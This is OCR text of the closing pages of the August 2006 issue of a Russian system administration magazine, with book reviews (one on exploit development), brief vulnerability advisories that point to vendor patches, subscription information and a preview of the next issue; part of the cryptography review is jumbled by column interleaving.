Это издание является переводом ставшей уже культовой книги «The Shellcoder`s handbook: discovering and exploiting security holes» от гуру хакинга и безопасности с мировыми именами. Из первой части книги вы узнаете о процессе эксплуатации уязвимостей в ОС GNU/Linux, работающих на компьютерах с x86-архитектурой. Объяснения начинаются с самых азов,
92
так что даже люди, абсолютно незнакомые с этой темой, при желании легко освоятся. Подробно рассмотрены следующие темы: переполнение стека, создание внедряемого кода (shellcode), переполнение кучи, а также дефекты форматных строк. Во второй части, которая носит название «Платформа Windows», авторы повествуют о разработке внедряемого кода для Windows, различных переполнениях, возможных в процессе использования этой ОС и различного стороннего ПО, обходе различных фильтров. Освоив третью часть книги, вы научитесь самостоятельно искать уязвимости в различных системах и программных комплексах. Среди рассмотренных тем: формирование рабочей среды (необходимая документация, обзор различного ПО), внесение ошибок, искусство фазинга, анализаторы исходных текстов на языках семейства C, инструментальный ана-
лиз, трассировка уязвимостей, двоичный анализ. Из раздела «Дополнительные материалы» вы узнаете об атаках на базы данных (MS SQL и Oracle), сложностях, с которыми вы можете столкнуться при атаке на ту или иную систему, о переполнениях в ядре и эксплуатации уязвимостей ядра (на примерах ОС Solaris и OpenBSD). Главная заслуга авторов, в том что им удалось удачно изложить весь представленый материал в простой и доступной форме, хорошо его структурировав и сопроводим большим количеством примеров. Замечательная книга, которая будет интересна широкому кругу системных администраторов и программистов.
Издательство: «Питер» Год издания: 2006 Количество страниц: 416 ISBN: 5-469-01233-6 Цена: ≈ 675 руб. Книга предоставлена издательством «Питер».
книжная полка
Мир программирования. Криптография Найгел Смарт
Тема защиты информации от посторонних глаз была актуальна во все времена. Криптография как наука является одной из основополагающих во всех областях, связанных с защитой данных. Несмотря на то что эта книга по сути является учебником для студентов вузов, стиль изложения материала достаточно «живой», без излишней сухости и академической строгос-
ти. Также нельзя не отметить, что эту аутентичного открытого ключа. Не оскнигу можно начать изучать с мини- тались без внимательного рассмотмальным представлением о криптог- рения и вопросы, связанные со стойрафии как о науке (однако предпола- костью шифров. Вы узнаете об атаках гается, что знания математики на до- на схемы с открытым ключом, метостаточном уровне у вас все же есть). дах определения стойкости, теоретиВ первой части, которая носит назва- ческой сложности и доказуемой стойние «Предварительные математичес- кости. В приложении находится матекие сведения», автор расскажет вам риал, посвященный основной матемаоб арифметике остатков, конечных по- тической терминологии, а также разлях и вероятностях, а также об эллип- личные примеры реализации на языке тических кривых. Раздел «Симметрич- Java. Хорошая книга, которая окажется ное шифрование» представлен мате- полезной не только студентам, изучаюриалом об истории шифров, теорети- щим криптографию, но и программиско-информационной стойкости. Под- там, работающим в данной области. робно рассмотрены DES и распределение симметричных ключей. В тре- Издательство: «Техносфера» тьей части «Криптосистемы с откры- Год издания: 2004 тым ключом и подписи» автор повес- Количество страниц: 528 твует об основных алгоритмах шиф- ISBN: 5-94836-043-1 рования с открытым ключом, тестах Цена: ≈ 370 руб. на простоту, факторизации, дискрет- Книга предоставлена издательством «Техных логарифмах, методах получения носфера».
Администрирование Windows Server 2003. Подробное руководство Джонатан Хассел
Это издание является переводом книги издательства O`Reilly «Learning Windows Server 2003», что само по себе уже указывает на то, что книга хорошая. Повествование начинается с вводной части по Windows Server 2003. Далее вы узнаете об установке и развертывании ОС, включая вопросы, связанные с автоматической установкой, обновлении установленных копий. Службы файлов и пе-
№8, август 2006
чати (установка служб общего доступа к файлам, применение автономных папок, квоты, резервное копирование, использование зашифрованных файловых систем). Доменная структура именования (рассмотрены зоны и домены, записи ресурсов, процесс создания сервера имен, зоны, интегрированные в AD). Active Directory (объекты и концепции AD, построение структуры, репликации каталогов, процесс миграции на AD, а также поддержка существующей инфраструктуры). Групповая политика и IntelliMirrot (введение в групповую политику, средства управления, локальная групповая политика, рекомендации по развертыванию). Защита Windows и управление исправлениями (принципы информационной безопасности, аудит и журнал событий, службы SUS). IIS (архитектура, компоненты и установка
IIS, управления различными службами, автоматизация администрирования). Инфраструктура .NET Framework (введение, типы приложений, защита, сборки, модели развертывания). Службы терминалов Windows (протокол RDP, администрирование служб терминалов, управление в командной строке). Также рассмотрены кластерные технологии и NLB кластеры, службы индексирования и очереди сообщений. Отличная книга займет достойное место в библиотеке технической литературы любого системного администратора Windows.
Издательство: «Питер» Год издания: 2006 Количество страниц: 576 ISBN: 5-91180-019-5 Цена: ≈ 450 руб. Книга предоставлена издательством «Питер».
Обзор книжных новинок подготовил Александр Байрак
93
bugtraq Множественные уязвимости в OpenOffice Программа: OpenOffice 1.1.x, OpenOffice 2.x. Опасность: Средняя. Описание: 1. Уязвимость существует при обработке определенных Java-апплетов в документах OpenOffice. Удаленный пользователь может с помощью специально сформированного документа обойти ограничения песочницы и получить доступ к системным ресурсам с привилегиями текущего пользователя. 2. Уязвимость существует из-за ошибки при обработке макросов, прикрепленных к документам. Злоумышленник может без ведома пользователя выполнить произвольный Basic-код с привилегиями текущего пользователя. 3. Уязвимость существует из-за ошибки проверки границ данных при обработке определенных XML-файлов. Удаленный пользователь может с помощью специально сформированного XML-файла вызвать переполнение буфера и выполнить произвольный код на целевой системе. URL производителя: www.openoffice.org. Решение: Установите последнюю версию (2.0.3) с сайта производителя.
Раскрытие данных в .NET Framework Программа: .NET Framework 2.0. Опасность: Средняя. Описание: Уязвимость существует из-за ошибки при обработке URL. Удаленный пользователь может обойти ограничения безопасности ASP.Net и получить неавторизованный доступ к объектам в каталогах приложений (Application folder). Для удачной эксплуатации уязвимости злоумышленник должен знать название объекта. URL производителя: www.microsoft.com, Решение: Установите исправление с сайта производителя.
Отказ в обслуживании в Samba Программа: Samba 3.0.1 – 3.0.22. Опасность: Низкая. Описание: Уязвимость существует из-за ошибки при обработке большого количества подключений к сетевым ресурсам. Удаленный пользователь может создать большое количество соединений и заставить smbd потреблять большое количество системных ресурсов. URL производителя: www.samba.org. Решение: Установите последнюю версию (3.0.23) с сайта производителя.
Повышение привилегий в ядре Linux Программа: Linux kernel версии до 2.6.17.4. Опасность: Низкая. Описание: Уязвимость существует из-за недостаточной обработки данных дампа ядра. Злоумышленник может создать дамп в запрещенных директориях или получить привилегии пользователя root на системе. URL производителя: www.kernel.org. Решение: Установите последнюю версию ядра (2.6.17.4) с сайта производителя.
94
Раскрытие данных в Webmin/Usermin Программа: Webmin версии до 1.290, Usermin версии до 1.220. Опасность: Средняя. Описание: Уязвимость существует из-за ошибки при обработке URL. Удаленный неавторизованный пользователь может с помощью специально сформированного URL просмотреть произвольные файлы на системе. Подробности уязвимости не сообщаются. URL производителя: www.webmin.com. Решение: Установите последнюю версию с сайта производителя.
Выполнение произвольного кода в Microsoft Internet Information Server Программа: Microsoft Internet Information Server (IIS) 5.0, 5.1, 6.0. Опасность: Средняя. Описание: Удаленный авторизованный пользователь с привилегиями на загрузку файлов может с помощью специально сформированного ASP-файла выполнить произвольный код на целевой системе. Подробности уязвимости не сообщаются. URL производителя: www.microsoft.com. Решение: Установите исправление с сайта производителя.
Отказ в обслуживании в Cisco IPS Программа: Cisco Intrusion Prevention System (IPS) 5.1. Опасность: Средняя. Описание: Уязвимость существует из-за ошибки в стандартном драйвере сетевого гигабитного адаптера на чипсете Intel при обработке некоторых IP-пакетов. Удаленный пользователь может с помощью специально сформированного IP-пакета вызвать отказ в обслуживании устройства, если этот адаптер сконфигурирован на мониторинг трафика. URL производителя: www.cisco.com. Решение: Установите исправление (версию 5.1(2)) с сайта производителя.
Уязвимость состояния операции в ядре Linux Программа: Linux kernel версии до 2.6.17.5. Опасность: Низкая. Описание: Уязвимость состояния операции существует при изменении статуса файла в файловой системе /proc. Локальный пользователь может выполнить произвольный код на целевой системе с привилегиями пользователю root. URL производителя: www.kernel.org. Решение: Установите последнюю версию (2.6.17.5 или выше) с сайта производителя.
Составил Александр Антипов
подписка на 2006 год Российская Федерация
Подписной индекс: годовой – 20780, полугодовой – 81655 Каталог агентства «Роспечать»
Подписной индекс: 87836 Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог» Альтернативные подписные агентства: Агентство «Интер-Почта» (495) 500-00-60, курьерская доставка по Москве Агентство «Вся Пресса» (495) 787-34-47 Агентство «Курьер-Прессервис» Агентство «ООО Урал-Пресс» (343) 375-62-74 ЛинуксЦентр www.linuxcenter.ru Подписка On-line http://www.arzi.ru http://www.gazety.ru http://www.presscafe.ru
СНГ В странах СНГ подписка принимается в почтовых отделениях по национальным каталогам или по списку номенклатуры «АРЗИ»: Азербайджан – по объединенному каталогу российских изданий через предприятие по распространению
печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
Казахстан – по каталогу «Российская Пресса» через ОАО «Казпочта» и ЗАО «Евразия пресс»
Беларусь – по каталогу изданий стран СНГ через РГО «Белпочта» (220050, г. Минск, пр-т Ф. Скорины, 10)
Узбекистан – по каталогу «Davriy nashrlar» российские издания через агентство по распространению печати «Davriy nashrlar» (7000029, г. Ташкент, пл. Мустакиллик, 5/3, офис 33) Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г. Ереван, пл. Сасунци Давида, д. 2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул. Сарьяна, 22) Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г. Тбилиси, ул. Хошараульская, 29) и АО «Мацне» (380060, г. Тбилиси, пр-т Гамсахурдия, 42) Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134) по списку через ГУП «Почта Приднестровья» (МD-3300, г. Тирасполь, ул. Ленина, 17) по прайс-листу через ООО Агентство «Editil Periodice» (МД-2012, г. Кишинев, бул. Штефан чел Маре, 134) Подписка для Украины: Киевский главпочтамт Подписное агентство «KSS», тел./факс (044)464-0220
Подписные индексы:
20780* 81655** по каталогу агентства «Роспечать»
87836 по каталогу агентства «Пресса России» * **
№8, август 2006
годовой полугодовой
95
СИСТЕМНЫЙ АДМИНИСТРАТОР №8(45), Август, 2006 год УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Редактор Алексей Коршунов Внештатные редакторы Алексей Барабанов Сергей Супрунов Дмитрий Мороз РЕКЛАМНАЯ СЛУЖБА тел./факс: (495) 628-8253 Евгения Тарабрина reсlama@samag.ru Верстка и оформление maker_up@samag.ru Дизайн обложки Николай Петрочук По вопросам распространения обращайтесь по телефону: (495) 628-8253 (доб. 120) 107045, г. Москва, Ананьевский переулок, дом 4/2, стр. 1 тел./факс: (495) 628-8253 Сайт журнала: www.samag.ru ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ГП «Московская Типография №13» Тираж 11000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002 г.). За содержание статьи ответственность несет автор. За содержание рекламного объявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены.
ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: Система авторизации PAM Система PAM используется практически на всех UNIX-системах, за исключением разве что OpenBSD. В статье вы найдете описание процесса конфигурирования системы PAM и установки и настройки дополнительных модулей. Программистам пригодится информация о том, как написать свой модуль и приложение для него.
Суровая правда, скрытая за «розовыми очками»: история компании Transmeta В мире существует категория людей, которые из кожи вон лезут, лишь бы подарить другим благо, причём безвозмездно. Но зачастую большинству «манна небесная» не всегда по душе, или, попросту, не нужна. Компания Transmeta принесла практически «совершенные» процессоры в массы, однако собственноручно допущенные ошибки, жестокая конкуренция и привередливые пользователи не позволили задуманному осуществиться.
Защита от malware при помощи BufferZone Борьба с различного рода злонамеренными программами, является частью обязанностей администратора но, учитывая, что ежедневно обнаруживается около 50 новых, это становится не
простым делом. Разработчики израильской компании Trustware Inc. предлагают подход, позволяющий активно защищать операционную систему Windows против злонамеренного программного обеспечения и других видов атак. Без каждодневных обновлений, с максимальной защитой при минимальном участии пользователя.
SASL – модуль сетевой аутентификации пользователей С помощью библиотеки SASL2 сетевые приложения могут автоматически договориться об использовании определенного механизма подтверждения идентичности пользователя. Как настроить библиотеку SASL для работы совместно c Kerberos?
Упаковщики исполняемых файлов в Linux/BSD Большинство UNIX-программ распространяются в исходных текстах, но количество коммерческих продуктов с закрытым кодом неуклонно растет, зачастую распространясь в упакованном виде. Это не только препятствует анализу, но снижает производительность и ухудшает совместимость с «зоопарком» UNIX-клонов. покажем на примере ELFCrypt, UPX, Burneye и Shiva, как можно освободиться от упаковщиков.
Уважаемые читатели! Спешите оформить подписку на второе полугодие 2006 года! Приобрести новые и старые номера журнала вы можете через интернет-магазины LinuxCenter.ru и Allsoft.ru.
Доставка почтой в любую точку России.
96